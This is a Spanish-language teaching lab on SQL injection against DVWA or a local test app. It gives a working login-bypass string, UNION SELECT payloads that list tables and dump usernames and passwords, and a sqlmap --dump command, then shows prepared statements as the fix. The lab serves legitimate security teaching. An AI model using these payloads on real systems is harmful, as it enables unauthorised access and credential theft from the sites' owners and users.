Lab 6.2: SQL Injection - Explotación Completa
Objetivos de Aprendizaje
Al final de este laboratorio, usted será capaz de:
- Comprender cómo funciona la inyección SQL
- Eludir una autenticación mediante inyección SQL
- Extraer datos de una base de datos
- Utilizar SQLMap para automatización
- Proteger sus aplicaciones contra la inyección SQL
Duración Estimada
40 minutos
Aplicación de Prueba
Utilice DVWA (Damn Vulnerable Web Application) o la aplicación proporcionada.
Técnica Básica
Bypass clásico de autenticación:
Username: admin' OR '1'='1' --
Password: (cualquier cosa)
Consulta generada:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'
Resultado: ¡Condición siempre verdadera, inicio de sesión exitoso!
Extracción de Datos
Listar las tablas:
' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --
Extraer datos:
' UNION SELECT username, password FROM users --
SQLMap Automatizado
sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump
¡Extracción automática completa!
Protección
Código seguro con prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 6